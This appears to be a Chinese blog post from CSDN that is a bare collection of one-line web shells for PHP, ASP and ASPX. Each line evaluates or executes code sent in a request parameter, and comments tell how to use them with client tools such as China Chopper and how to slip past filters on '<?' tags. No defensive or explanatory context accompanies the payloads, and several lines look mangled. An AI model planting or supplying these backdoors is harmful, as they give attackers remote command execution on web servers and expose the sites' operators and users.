版权声明:孤 https://blog.csdn.net/Wu000999/article/details/84259224
PHP一句话
<?php eval($_POST1);?>
<?php @eval($_POST['value']);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php @eval($_POST[sb])?>
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>
<?php eval($_POST[sb])?>
<?php assert($_POST[sb]);?>
<?$_POST['sa']($_POST['sb']);?>
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
<?php @preg_replace("/[emai]/e",$_POST['h'],"error");?>
<script language="php">@eval($_POST[sb])</script> //绕过<?
ASP一句话
<%eval request("MH")%>
<%execute request("MH")%>
<%execute(request("MH"))%>
<%If Request("MH")<>"" Then Execute(Request("MH"))%>
<%if request ("MH")<>""then session("MH")=request("MH"):end if:if session("MH")<>"" then execute session("MH")%>
<SCRIPT language=VBScript runat="server">execute request("MH")</SCRIPT>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["MH"],"unsafe");%>
ASPX一句话
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>